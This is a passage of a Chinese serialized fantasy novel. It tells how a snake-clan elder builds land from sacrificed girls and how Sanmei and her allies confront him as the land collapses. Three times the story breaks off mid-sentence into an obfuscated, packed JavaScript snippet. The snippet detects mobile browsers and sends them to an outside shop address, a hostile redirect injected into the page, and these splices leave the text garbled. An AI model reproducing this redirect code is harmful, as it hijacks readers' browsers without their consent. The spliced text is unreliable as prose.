哦对了,我们蛇族只有双胎才有水鬼天赋,能够潜入湖底,长时间进行巡护。 一个在水上警戒,一个在水底巡护。 一天一夜,是目前,我能够做到的、在湖底巡护的最长时间记录。 你以为我这样就很厉害? 不是的。 听我们老祖宗说过,蛇族最强的水鬼,曾经在镜湖底下,呆上三天三夜。 我算是,最差的一届水鬼。 和小屋子一起豢养的水虺巨蟒——榆次,已经开始有自己的主观意识了,没有蛇尾圆雕,根本没办法做到让它只听从我一人的驱使。 一个合格的水鬼,应该做到没有蛇尾圆雕,也能叫那巨蟒忠心耿耿的。 我做不到。 小屋子却偶尔能够成功做到。 但因为小屋子潜伏水底的能力逊色于我,所以蛇尾圆雕放在我的手里。 没有蛇尾圆雕的召唤,榆次通常只跟随在小屋子的身边。 我有时候会觉得气馁,也时常羡慕小屋子的天赋。 但我今年才十岁,老祖宗说我还有很大的进步空间。 半年前我兴高采烈、雄心壮志,没事便潜水练习,梦想成为蛇族最强悍的水鬼。 但后来,我发现,我做不到。 我做不到为了完全控制榆次,而将手足残忍杀害。 是的,老祖宗让我将小屋子杀了。 只有杀了小屋子,榆次才可能完全属于我。 我被吓坏了,完全接受不了这样残忍的家族传承。 跟老祖宗大吵了一架后,我一头扎进了镜湖里。 没带蛇尾圆雕,没带榆次,一个人在湖底冒无目的地游啊游、游啊游、游啊游...... 不知不觉,竟是到了之前从来没有到过的一个区域。 我在那个陌生的区域,好好的平复了情绪后,正打算返回的时候,发现了一个东西。 一截泡涨得发白发烂的手臂。 那截手臂的边上,有一块已经褪色的木雕。 我一开始以为是某个意外溺水的人,所以将手臂和木雕都带回了水尾寨,打算找个地方将那截断臂埋了。 好让那断臂的主人,入土为安吧。 后来我回家的时候,木雕不慎从袖中掉落,意外被我爹捡到。 于是我就见我那总是沉稳平和的亲爹,突然一反常态,神情激动地抓着我的手臂,连声问我木雕是在哪里捡到的。 原来那块已经褪色的木雕,我爹也有一个。 是十年前在湖底离奇消失的,我的亲爷爷亲手雕刻的,我爹和他的兄弟们都有一块。 他一眼就认出了我捡到的木雕,就是出自我爷爷之手。 听我爹说,但是我爷在湖底失踪后,族里能够潜水的人,只剩老祖宗一人。 老祖宗在湖底断断续续找了十天十夜,却从来不曾带回来一点消息。 我爹拿着那块木雕,再三犹豫之后,与我说,他曾怀疑是老祖宗下的手。 因为我爷在失踪前,曾经也与老祖宗爆发过一场特别激烈的争吵,第二天下水便出事了。 哦,忘了说,我们蛇族并非全属同支一脉。 在山洪爆发之前,蛇族分有东西两支。 那时候,我们全都生活在云水乡,与陆民们相处和谐,后来洪水覆没了村庄,成了一片汪洋,而云顶山镇山神被泥石流卷走,云顶山也因此沉入了镜湖。 云水乡的人走得走散的散,有些跑到了离镜湖最近的水都,就守在那里,等待镇山神的回归。 而我们蛇族,却被当做了异端,一朝沦为了比贱民还要低贱、还要受歧视的存在,到哪儿都会遭到水都陆民的驱逐和粗鲁对待。 为了团结互助,从此蛇族不分东西,合并为一支。 老祖宗原来是东边那一支的水上人,而我们这一支属于西边的蛇族。 后来蛇尾圆雕传入了老祖宗的手里,但他们东区蛇族不知为何,自他之后,再无水鬼出现。 而我们西区这一支的蛇族,在我亲爷爷之后,便也跟着断了层。 直到我和小屋子的出现,才叫大家都放下了一颗心。 我爹说,不管蛇尾圆雕传承到了谁的手里,老祖宗的地位都不曾有过动摇。 因为他为我们这群从来不被陆地所接受的卑贱的蛇族,凭空造成了一块陆地。 不管东西蛇族,一视同仁地让我们生活在了踏踏实实的土地之上。 是的,填喂水神,围湖造陆。 我虽然不曾亲眼见证过,但我爹说,老祖宗不知道是从哪里、又是拜托了哪位贵人,竟然修筑了一座独臂水神像,就凿嵌在我们水尾寨水牢边行,一棵最高大、最粗壮的古桐树里。 然后某一天,我们水尾寨里,突然就出现了一块陆地,虽然不大,但确确实实是一块地。 村民们高兴坏了,大家为此将水神供奉了起来,拼命豢养水蛇,都是为了哪来填喂水神的。 老祖宗说,水神大人最喜欢剧毒的水蛇。 我爹心里早就隐隐觉得不对劲,但大势所趋,他不敢将心里的想法表露出来。 直到见了我爷的木雕,他才与我吐露了一二。 心里一旦种下了种子,怀疑便在不知不觉中悄然滋生。 我不再对老祖宗所说的一切言听计从,我开始用自己的耳朵聆听,开始用自己的眼睛观察,也开始学着用自己的大脑思考。 然后,真让我发现了老祖宗的秘密。 老祖宗嵌在古桐树上的女神像雕塑里头,藏着的,竟是个真正切切的女人! 而豢养毒蛇,填喂水神的话,全是狗屁!他们拿的是人血!是人肉! 那些离奇出现水尾寨里的地面,是老祖宗利用妖邪之术,用人的筋骨血肉铸成的! 邪术是会反噬的啊! 老祖宗豢养的蟒身才离奇暴毙不久,他便已经下不了水了。 我可怜的族人啊,什么都不知道,就成为了助纣为虐的帮凶! 他们什么都不知道,就成了帮凶了啊! 镜湖底下的尸水啊,全是那些被害的人身上流出来的啊! 啊啊啊,我每日每日,在那暗无天日的尸水里,游来淌去,竟然没发现那些黑色的泥沼,竟是尸泥! 我想逃啊!我害怕啊!我想逃得远远的啊! 但是我的家人、我从小到大的玩伴们啊、我的族人啊,可还生活在水尾寨里啊! 他们的过去和未来,都系挂在了水尾寨啊! 水尾寨是我们的家啊! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203191|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆民们也不欢迎我们啊! 疯狂的崩溃之后,我迎来了人生中,最为极致的冷静。 我强迫自己清醒,想了又想,我仿佛窥见了为何水都陆民那般排斥、那般厌恶我们水上人的原因了。 后来,我找上了蒋敏生。 但蒋敏生却说,这是他们大人之间的恩怨,让我莫要胡闹。 无力和颓丧,骤然袭来,当时的我,真觉得天塌了,我们蛇族必亡了啊。 兰哥却在这时,拦住了我。 我以为他会狠狠揍我一顿,再将我丢死狗一样丢到岸边。 他告诉我,他们水都近期即将迎来一个贵人,这个贵人会帮忙解决一切的。 你在巨峰山下与云丫阿姐他们窸窸窣窣的时候,我一眼就看出了你就是那个贵人! 我私下找到了兰哥,云丫阿姐在水都岸边救下我那次,确实是我自导自演,就为了进入你视线的一场苦肉计。 因为我,已经下定了决心,就是死,也不能眼睁睁看着,我们蛇族就这样稀里糊涂地葬送在邪恶的老祖宗手上! 孟庄他,必须为此付出代价! 而我,愿意付出一切,也要将蛇族从发臭的、腐烂的泥沼里拔出来! —— “是时候把你们姑祖奶奶,给迎回家咯。” 兰哥终于小心翼翼放在怀里的一个小小的竹箩,竹箩里方方正正地叠着一块粉色绣山茶花的绢布。 从袖子里掏出用油纸包着的白米和白线,他面色肃穆,拾起竹箩里的绢布的一角,轻轻展开,白米和白线放入竹箩里。 准备就绪,兰哥看向三枚。 三枚看着浑身浴血的小坂妹,对着兰哥轻轻点了下头。 “开始吧。”她说。 兰哥闻言,将竹箩放到三枚举在半空的破瓷碗里,手里紧紧抓着绢布,仰面朝北,嘴巴大张,放生呼喊道:“玉娘子,回家了!” “回家了,玉娘子!” “玉娘子啊,兰哥来接你回家了,玉玺老祖宗啊,他在家里等你回呢!” “玉娘子啊,快快回吧!快快回啊!兰哥来接了!” 兰哥中气十足,声音浑厚,情绪饱满,咬字清晰,穿透风声,一字一顿地飘荡在水尾寨里。 被陆衎打到一片的、躺在地上哎哎呼呼的蛇族人,听见他的呼喊,俱都愣住了。 “这是、这是在干嘛?” “叫魂吧,那个竹箩,好像是叫魂用的‘魂箩’!” “叫魂?玉娘子?他在喊玉娘子!玉娘子是谁?” “玉娘子?听说以前镇山神有个独女,就叫做玉娘子,这孩子,该不会喊的就是她的魂吧?” “镇山神的独女,确实人称玉娘子!” 水尾寨人,面面相觑,突然有些不知所措了起来。 兰哥的呼唤还在继续,“玉娘子,快跟我回家吧,兰哥来接您回家咯!” 小屋子被三枚踩在脚下,呆滞了片刻,扭头想找孟庄,却看见了一身是血的小坂妹。 她看见小坂妹举起了双手,举起了一个小小的银灰色的罐子。 “快抓住他!”小屋子猛然转头,指着尽情呼唤的兰哥道。 “这人喊的不是镇山神的独女,而是我们水尾寨的水神大人!” “快阻止他,他要将我们的水神大人,给抢走了!” 61. 第 61 章 “你这家伙,原来真的什么都知道。” 看着地上的裂缝越来越深,三枚慢慢蹲下身子,掐着小屋子的下巴,左右看了看。 “可惜了,全学废了!” 三枚歪着头,笑意盈盈地看着怒眼圆瞪的小屋子,把她的脸往小坂妹的方向一扭。 “你可得睁大眼睛看好了,到底谁才是真真正正的、卑鄙无耻的强盗!” —— 小坂妹高举着银罐子,仰头看向天空。 阴沉沉的天上,乌云终于抵挡不住炙热的艳阳,乘着微风开始躲避了起来。 将满是鲜血的小脸往肩膀上一抹,小坂妹半眯着肿胀的眼睛,努力在人群里寻找着三枚的身影。 “榆次已经把剩下的躯骨送出去了,银罐子我也给取出来了。” 她微微一笑,露出了两个小虎牙,大声地朝三枚问道:“现在,我们蛇族,还有得救吗?” 小脸留下两行清泪,划过血迹斑斑的双颊,小坂妹带着哭腔:“还来得及吗?” 她的尖锐而深厚的声音,将围着三枚的水尾寨人吓了一大跳,纷纷停下了手中的动作。 他们诧异地看着小坂妹,看着她受伤的身体在往下滴着鲜血,看着她的鲜血散落在冰冷的地面上,再慢慢流入那纵横的干裂地缝里。 小坂妹的皮肤上,全是划破的伤口,原本小巧清秀的小脸,成了狰狞的鬼脸,鲜血从其中涌出,染红了一片衣襟。 她高举过头的银罐子的手,已经被鲜血染得绯红。 空气中弥漫着浓厚的血腥味,让人感到有些透不过气,所有人不由自主皱起了眉头。 这个时候,人群突然爆发一阵骚动。 原本团结一致朝三枚他们围攻袭击的人群,瞬间分成了泾渭分明的两拨。 其中一拨原本还只是暗中牵制、默默护着,现在小坂妹出现了,他们便犹如得了信号一般,趁着另一波人来不及反应,把他们推到了一边,明目张胆地护在在三枚等人的身前。 “你们!这是作甚?” “怎么了,你们为何护着他们几个外人?还有,小坂妹怎么成了那副样子?” “她举在头顶上的,又是什么东西?” 小屋子被三枚牢牢踩在脚下,却挣扎、蹦跶得最欢,嘴里恨恨地骂道:“叛徒!他们都是一群叛徒!” “我说为何古桐树会倒,原来是你们早已将我阿姐给策反了!早已将我的族人都哄骗成了叛徒!” “你们这群包藏祸心的侵入者!你们这群卑鄙无耻的犯罪者!你们就是一群残忍而野蛮的暴徒!” 小屋子的叫嚣,又是引起了一阵躁动。 “什么意思?小坂妹跟这群人是一伙的?” “可是,她刚才还差点被那个穿着道袍的女人给杀了啊!” “为什么?为什么会这样?” 然而,水尾寨人不管是暴动,还是蒙圈质问,三枚都毫不动摇。 她的目光,穿越人群,与小坂妹遥遥相视。 小坂妹尽管面色苍白,不断往下流淌着泪水的双眼里,目光却毅然坚定。 看清了她眼里复杂的情绪,三枚忽而眉头轻拧,心头一阵憋闷。 不知道小坂妹在他们水尾寨的水牢里经历了什么,也搞不懂她为何非要在一个已经发烂发臭的巨坑里,寻找那希望十分渺茫的未来,明明她两个时辰前,还特别天真地说自己想活在大太阳底下做个好人。 现在太阳出来了,她一个小小的、才十岁多点的小屁孩,站在阳光底下,却往自己的肩上抗上了千万斤重的负担。 小坂妹的问题,若是在进入水尾寨之前问的,三枚肯定会毫不犹豫地回答她:“不要做徒劳无获的蠢蛋。” 但是现在,看着小坂妹那笑中带泪、眼里隐约流露出的哀切和恳求,看着因为小坂妹的出现,而将自己护在身后的那小部分的水尾寨人,三枚的喉头像是被什么东西哽住了。 不知为何,她的鼻头莫名一酸。 不知道他们水尾寨经历这么一场变故,是否又将开始分崩离析,再次瓦解成东西两派,还是继续腐烂继而彻底消亡。 亦或者,真如小坂妹希冀的那般,真就绝地逢生,在泥泞里脱胎重生,长出新鲜的嫩芽,重新焕发生机。 “呼~” 三枚仰天一叹,用力闭上双眼,须臾缓缓睁开,她将目光重新对上小坂妹的,郑重将头一点,高声回道:“只要还有一个人清醒着,那就不算没救!” 哪怕只有一个人,那就来得及! 哪怕最后只有你一个人站着,你们蛇族,就倒不了。 三枚给出了肯定的回复。 “这样啊,”小坂妹嘴角向上一咧,释怀一笑,笑得特别天真开朗:“那就好,那就好!” 她得到了想要的答复,她知道三枚已经认可了自己。 小坂妹嘴角挂着满意而轻松的微笑,高高举过头顶的手蓦然一松。 小小的银罐子突然失去了承托,重重地从半空掉落下来。 被钳制得一动都动不了的小屋子,目眦欲裂,痛呼出声:“不!!!” 三枚轻嗤一声,缓缓将脚从她的背上移开。 小屋子重获自由,急得连滚带爬,义无反顾就往小坂妹的方向冲,好似跑得快一点,就能将那垂坠落的银罐子接住一样。 “果真没救了!” 三枚看着小屋子左推右搡的小小背影,摇了摇头,将手里的破瓷碗朝地上开裂得最大、最严重的一条裂缝里,轻轻一抛,接着拍了拍边上还在叫魂的兰哥肩膀一下。 她轻声道:“记得,等会儿抱紧锁魂箱。” 兰哥一愣,虽然不明所以,但还是冲三枚点了点头,喊得更起劲了。 “玉娘子啊,回家咯!兰哥带您回家,回家和玉玺老祖宗,团聚咯!!” “哈!” 三枚一笑,舒展了下脖子,将八耳往腋下一夹,眼神锐利地直视前方,做了个助跑的姿势,心里默默数了三个数。 她将全身肌肉紧绷,蓄满力量,蓄势待发。 等到耳边听见银罐子落地的细微声响,她瞬间释放出那股劲道,疾风一般,轻盈而迅捷地越过人群,风驰电掣般冲向了孟庄。 孟庄早在听见兰哥叫魂的时候,便觉大事不妙,而小坂妹拿着银罐子出现的时候,他更是毫不犹豫,起身拔腿就跑。 他得逃啊! 玉玺回来了! 他不仅来要回玉娘子了,更是来找自己算账了! “序三!序三!你竟敢插手我们山神与水鬼之间的新仇旧怨!” 孟庄恨得咬牙切齿,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220451|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是早个一两年与三枚对上,自己不至于只能被动挨打,甚至还可逃得一线生机。 如今自己不仅年老体衰,一身法术因为反噬被废了大半,早已不比当年,怎么算,都不是序三的对手! 所以他现在只能趁着人多眼杂,在一片混乱之中,拼命逃命! “快点,再快点,再快点......” “就快看到湖水了,只要进了水里,序三这个旱鸭子,便不能奈我何了!” 孟庄第一次有些懊恼,嫌弃脚下的地面如此宽广,跑了这么久,竟然还没到头...... 他咬紧牙关,拼命跑啊跑,忽然发觉自己双腿发软,一边跑一边往地上倒。 不对! 是地在摇晃! “嗙!” 孟庄被晃得哐当倒在地上,看着大地如同被撕裂一般,猛烈摇晃,仿佛世上的所有事物,都在瞬间失去了控制。 大地在剧烈晃动,底下的根基在猛烈颤抖。 干裂的地面,裂痕在飞速扩大,一条条的缝隙在深深裂开,像是要完全断裂开去。 突如其来的地动山摇一般的晃动,令人们惊恐万状,四处逃窜。 哭声、尖叫声在空气中回荡,世界仿佛陷入了混沌。 忽然,“轰隆”一声巨响,响彻云霄。 地下像是蛰伏了一条愤怒的巨龙,觉醒后开始翻涌,喷发着惊人的力量,卷起了一场风暴,带着毁灭一切的、无法估量的破坏力。 地震的瞬间,地动山摇,声音响彻云霄,让人惊恐万分。 混乱中,三枚精准地抓住了孟庄的肩膀,拽着他狠狠往地上的裂缝里一甩。 “孟庄,你跑什么?” 她的声音甚至还带着轻松惬意的笑,“难不成,你到这会儿,才晓得怕了?” 孟庄想要反驳,忽而却感到一阵心悸,他捂着心脏在地上满是烟尘的地上打滚。 “呵!”三枚以为他在装模作样,猛地朝他出拳。 她的拳法,快捷而迅猛,毫无防备的孟庄结结实实地受了一拳,大口一张,“哗啦”喷出一口鲜血。 “被你抽干鲜血,四分五裂的玉娘子啊,就要魂归了,你不在边上看着,跑什么跑呀?” 孟庄嘴角流着鲜血,被尘土呛得咳嗽不止。 齐整的白发凌乱地散落在脸上,他捂着胸口,剧烈地喘着粗气。 “我、我,”才刚开口说了两个字,又是一大口鲜血吐出。 三枚嫌弃地后退一步,忽而撞上了一个坚硬而宽阔的胸膛。 她将头微微一抬,见陆衎挑着眉,正一脸兴趣盎然地看着自己。 “方才那一拳,使力不使劲,古武的基本动作。”他声音低沉地在三枚的耳边说道,“很漂亮的一招。” “咳咳。” 不防陆衎突然赞美自己,三枚没有心理准备,双颊不合时宜地爆红了起来,她轻咳一声,恼羞成怒一般,狠狠地瞪了陆衎一眼。 刚想说些什么,孟庄在身后突然大声吼叫了起来:“不是我!” “不是我做的!玉娘,不是我做的!” 他像是得了癔症,双手在空中胡乱挥舞,左摇右晃的地面,在这时,忽而停止了下来。 “是石春华!全是石春华那个女人指使的!不关我的事啊!” 62. 第 62 章 “是石春华!全是石春华那个女人指使的!不关我的事啊!” 孟庄疯了一样,满头大汗,在地上又是打滚,又是嚎啕,双眼发直对着空气胡言乱语的样子,看起来格外渗人。 “不是我!不是我做的!是石春华啊,你找石春华去啊!你去啊去啊!” 陆衎将三枚拉到身边,以防被不知真疯,还是装傻的孟庄误伤到。 “这地要塌了吧,咱们先撤到乌篷船上再说。”他在三枚的耳边轻声说道。 毕竟三枚不会水,等下地面若是彻底坍塌了,估计要落水。 “把八耳给我,先走吧。”陆衎不理还在发疯的孟庄,牵着三枚就要走。 三枚却是将手往回一缩,摇头道:“还不到时候。” 玉娘子的魂还没回来,这地暂时还塌不了。 她还得在这里等着。 陆衎不解:“等什么?” 虽然地震已经停止了,但地上的裂缝却还在开裂,而且越来越深、越来越宽。 水尾寨有好些人,已经跑了,估计也是躲船上去了。 三枚看着自言自语、神情逐渐癫狂的孟庄,慢声道:“等他清醒过来,交出所有被害者的名姓。” 她转头,与陆衎对视的杏眸认真而严肃:“不止眧州被害的十四名少女,还有许许多多的不知名姓的受害者。” 那双总是澄净而明亮的双眸里,此刻一点笑意也没有,反而弥漫上了一层淡淡的悲悯。 “玉娘子是山神之女,想要将她的灵魂彻底封印、为他蛇族水鬼所用,不是一般二般的邪术就能做到的。” 还有葬身在镜湖底下的、已经化作了尸水和尸泥的云水乡村民,他们的怨和愤,又该拿什么来镇压呢? 甚至,他们还在湖水之上,造了一块陆地。 一块能容纳所有蛇族人的大片陆地,半刻钟前,他们甚至还差点成功造出另一块陆地。 孟庄和石春华厉害啊,居然想得出,拿不谙世事、极度天真纯粹的无辜少女作质,用她们的新鲜的血液和干净的灵魂,来洗涤被从湖底升腾而起的、沾满怨恨和诅咒的镜湖水。 “一具尸体,能够化作多少尸水和尸泥?小坂妹说镜湖底下的尸水在向上翻涌,干净的上层水被污染了,其实不是的。” 上涨的尸水,是后续被害的少女身上化作出来的啊! “眧州之所以在一日之间,便有数十名少女同时被害,就是因为他孟庄压不住了。” 他老了,施加邪术的能力在日益减退,自己的族人一直后继无人,又疑心信不过小坂妹那一支,犹犹豫豫反复拖延之下,孟庄的报应来了,他终于被反噬了。 豢养的巨蟒暴毙而亡,他差点去了半条命,一身的法术还没来得及传承,就被废了大半。 孟庄怕了,叛族的石春华更怕啊! 但这两人,并未因为害怕而就此收手,反而心存侥幸,居然铤而走险、狗急跳墙了。 三枚的眼眸泛着寒光,“一个他,一个石春华,狼狈为奸,等不及拐骗落单的外地少女,而是让石春华就近对眧州少女下手。” “石春华该死,孟庄他更该死,却不是现在。” 三枚看着陆衎,“我答应了玉玺,不仅要帮她带回玉娘子的尸骨和魂魄,还要让那些无辜被害的云水乡村民们,得到解脱。” 以及薛婉茹最初敲响梦铃时的请愿,让三枚带着那些被害的少女们,魂归故里。 “孟庄必死无疑,在那之前,他必须先交出所有人的名姓!” —— “不是我!” 孟庄忽而大声吼道。 三枚转头,就见他靠坐在地面凸起的石块上,满脸颓丧地抱着自己的脑袋,神情好似十分痛苦。 他老眼里的癫狂已经消退了去,此刻双眼里盈满了泪花,和满腔的不忿。 “都怪石春华这个疯女人!” 孟庄握紧双拳,狠狠地砸着自己的胸口,“是她引诱我犯错的!全都是因为石春华,都是她的错,不关我的事!” 没了最初的气势凌人,他像个可怜的老人,慢慢匍匐在地上。 “我也不想这样的,我真的、真的不想的,都是她!是她逼我,石春华带来了罪恶,都是她害了我,害了我的族人,害了我全族的人啊!” “石春华就是所有罪恶的源头!而我、我不过是、被逼无奈啊!” 他抬头看着陆衎和三枚,哀切地哭道:“我没得选择啊!都是石春华的错啊!” 孟庄的狼狈和痛诉,看在三枚的眼里,一点不觉得可怜和悲惨,反而越发觉得他可耻可恨。 她冷笑道:“人可真奇怪。” “明明是你心志不坚,抵不住诱惑,你却将所有的一切都推到石春华的头上,你脸皮可真厚。” “你堂堂一个水鬼,竟让石春华一个空有勃勃野心、却手无缚鸡之力的弱女子,给逼得无路可选?”三枚冷笑,“孟庄,你可真不要脸!” 神情讥诮地看着孟庄,她慢慢地往前走了一步。 陆衎怕那该死的老货搞小动作,率先弯腰,飞快地卸下了孟庄的两条胳膊。 “啊!”孟庄痛苦地发出了一声尖叫。 三枚十分赞赏地看了陆衎一眼,接着冷眼继续质问孟庄。 “行,就算是石春华利诱在前,你年纪太轻、阅历不丰,才误入了歧途,但你是什么时候发现自己的错误的呢?” “知道自己犯错后,你又是怎么做的呢?” 孟庄因为痛楚,浑身冷汗淋漓,面对三枚的质问,他没法第一时间就作出辩解。 “我、我......” 他支支吾吾,我不出个所以然来。 眼角余光看着被兰哥背在背上的小坂妹,再看义愤填膺、穷追不舍的小屋子,还有渐渐朝他们靠拢而来的蛇族人,三枚挂在嘴角的笑意更冷了。 “你想说你不知道?不记得?还是不承认了?”她戏谑地道,“你们信吗?反正我是不信。” 三枚:“但有个词语,我想你作为你们蛇族的老祖宗,该是知道的才对,叫做知错能改,善莫大焉。” “你伙同石春华犯下了滔天大错,虽然不是一句简单的认识到错误,便能轻易得到原谅,但你是怎么做的呢?” “你说是石春华引诱你犯错,那你明知错了,而且错得一塌糊涂了,你却不改?反而一而再、再而三地犯下更大的罪恶,甚至由助纣为虐的从犯,最后成为主导罪恶深渊的主谋。” “孟庄啊孟庄,实际上,你根本就不觉得你自己有错,你甚至厚颜无耻地继续苟活在这个世界上。” 孟庄受不住三枚倾盆而泻的指责,他怒吼:“我这都是为了我们蛇族的发展!” “哈!”三枚大笑一声,“好一个冠冕堂皇的理由!我都禁不住嗤笑出声了呢。” 她对着还在不断开裂的地面,狠狠一跺,高声道:“你所谓的你们蛇族的发展,却是建立在折磨摧残玉娘子的灵魂上,建立在镜湖底下许许多多的、用来镇压怨魂恶煞的断臂少女的身上!” “那些少女有什么错?她们没有错!” “她们本该有灿烂而光明的未来,本该嬉笑怒骂、快快活活地活在这个世上,却在大好年华被你们狠心扯断一条胳膊,再被残忍地喂进一群冷血无情的蛇口。” 三枚狠狠地将孟庄踩在脚下,她的眼睛从人群里一一扫过,最后停留被人紧紧拉住、满眼愤恨的小屋子身上,“你!你们告诉我,那些少女有什么错!” 小屋子的瞳孔瑟缩了一瞬,咬牙启齿地瞪着三枚,她边上的蛇族人,有些却狠狠到皱起了眉头。 “我们被驱逐!我们被侮辱!我们受尽了委屈和歧视,”孟庄恨恨地用拳头砸向石块,“凭什么!” 石块被砸碎,飞溅地弹到孟庄的脸上,将他满是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220452|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褶皱的老脸划破,流下了鲜红的血液。 “凭什么不让我们上岸!凭什么我们不能在陆地上过活!凭什么我们必须低人一等,成为比贱民还要不受待见的存在!” “我所做的一切,不过是为了让我们蛇族,能在这个世界上,拥有一席之地,堂堂正正地走在踏实可靠的土地上,我们早就受够了屈膝盘腿、漂泊无根的水上生活!” 孟庄眼里一片猩红,他看着三枚:“我们又有什么错!你说,我们错在了哪里!” “我们没有错!” 小屋子被人牢牢扯在圈外,眼见自己心中形象一向高大伟岸的老祖宗,被三枚踩在脚下犹如贱草般折辱,气得满脸青红。 听见孟庄声嘶力竭的怒吼,她终于忍不住了,大声哭道:“我们没有错!有错的是你们陆地人!是你们陆地人,把我老祖宗给逼成这样的!” 三枚看着小屋子,安静得没有开口说话。 一时间,周围除了地面还在开裂的“嘎吱”声,就只剩小屋子呜呜咽咽的哭声。 须臾,三枚蹲下=身子,将手按在孟庄的头顶,抓着他的头发,让他看向小屋子。 “这就是,你最后为你们蛇族,选作传承的水鬼?”她啧啧摇着头,“你的眼光还真毒。” “一下子就挑出了跟你一样的货色,残害手足的时候竟然连眼都不眨一下。” “你!”孟庄眼睛瞪大,没想到三枚竟然连这事都知道。 明明、明明当年他当年对兄长下手的时候,没有一个人知道。 “怎么,是不是很惊讶我知道你藏在心底的秘密?”三枚挑眉,“嗨,我知道的秘密可多了去了。” “我甚至还知道,玉娘子当年,只不过是无视了你孟庄那自以为是的、高高在上的、却低贱得一文不值的示好,却被你因此记恨在心。” “你愤恼却无能,因为她是尊贵的未来山神,而你不过是一介卑微的水上蛇族,哦,你那个时候甚至还不曾是一个真正的水鬼。” “你的同胞兄长比你还有天赋,已经早早就继承了蛇尾圆雕。” 三枚犀利的眼神,一动不动地盯着小屋子的眼睛,一字一顿地道:“而你,羡慕得发狂,嫉妒得发疯,恨不得将其残害杀害,好能取而代之。” “最后你果真痛下杀手,后来还将你卑鄙的、扭曲的心里,灌输给了石春华。你挑拨离间,故意将镇山神传授给玉娘子的虎头木雕的秘密,透漏给了石春华。” “石春华果然不负众望,将玉娘子引骗到你水尾寨来。” 三枚眯着眼睛,在孟庄的身上环视了一圈,故意慢吞吞地道:“或许最初真如你所言,并无害她之心,但你自卑心作祟,为了一雪前耻,接下了石春华抛来的挂满邪恶的橄榄枝,你恬不知耻,将——” “你胡说!我没有!”孟庄突然一个暴起,用脑袋直接去撞三枚。 陆衎早就防着他了,孟庄刚一动,就受了他一脚。 “噗嗤”又是一大口鲜血,那血喷在地上,很快就渗入了裂缝里去。 三枚敏锐地发现,地上的裂缝,好似因他那一口鲜血,开裂的速度突然就慢了下来。 “呵!”她嘴角向上一扬,“居然吞进了肚子里!” 早知道就不跟他废话了,三枚哼了一声,立马起身,对着陆衎道:“踢!东西就在他的肚子里!” 陆衎闻言,眼尾一挑,二话不说就对着孟庄的腹部狠狠一踹。 孟庄来不及躲避,被陆衎那一脚踹得痛不欲生,好似五脏六腑都碎成了一团,“哇啦”一声,不断地从嘴里吐出鲜血。 “啪嗒!” 有什么东西对着血液,滚落到了地上。 三枚眼睛一亮,以迅雷不及掩耳之势,立马隔着衣袖将东西捡起,朝兰哥小手一挥,转身一个虎扑跳到陆衎的怀里:“跑!” “水尾寨用尸骨堆砌起来的地面,是真要塌了!” 63. 第 63 章 “轰隆!轰隆!” 强烈的地震,让本就裂缝纵横的地面轰然断裂,那一刹那地动山摇,天旋地转。 一切发生的都太快了,快得所有人都来不及反应,便被地下的震动晃得跌跌撞撞。 “跳湖!快跳进湖里!大家快进水里去!” “不行!不能跳,石块会将你挤压刺穿的!不能跳!” “啊啊,我的水蛇呢?怎么我召唤了这么久都没来!” 这时候,有人惊叫道:“水蛇前几日都被老祖宗带到水牢里去了!” “那怎么办?怎么办啊!!!” 尖叫声、口哨声,惊恐的、慌乱的哭喊声,女人可怕的呻-吟和男人愤怒的嘶喊声,夹杂着飓风的咆哮和地面崩塌的轰鸣声,场面一度混乱不堪。 陆衎抱着三枚,在强烈的震感的地面上疾跑,来时乘坐的乌篷船,早在震颤中四分五裂。 再看身后,地面开裂和震碎的声音,如雷鸣般响起,被飓风所经过的地方,一切皆为废墟。 兰哥背着小坂妹,吃力地跟在陆衎的身后,突然地面发生倾斜,差点随着一起往后摔倒的兰哥,陡然一个爆发,双脚瞪着地面猛然跳了起来,腾空的瞬间朝陆衎的后背飞去。 “陆少卿大哥,我来了——” 陆衎蹙眉,这小子这架势,该不会冲着自己的后背来的吧? 难不成要叫叠罗汉一样,叫自己背着他们跑? 自己怀里还抱着三枚呢!再加兰哥一个大小子和小坂妹一个小丫头,虽然也不是带不动,但地面开裂坍塌的速度实在是太快了! 眨眼的间隙,陆衎大脑疯狂思考了一会儿,觉得自己如果负重带上兰哥他们,势必要落水。 于是在兰哥快要蹦到自己背上的时候,陆衎一个侧身躲了开去,眼疾手快地伸出一只手,提溜着他的衣领。 兰哥脚下不稳,腿软软地就要跪倒在地上,差点将小坂妹给甩了出去。 “陆少卿大哥,你——” “啧。”陆衎只是轻轻啧了一声,兰哥便吓得双唇紧抿,立马噤声。 陆衎很满意兰哥的眼力劲,一边敏捷地带着人躲过飞溅的石块飞屑,一边左顾右盼,像是在寻找什么东西。 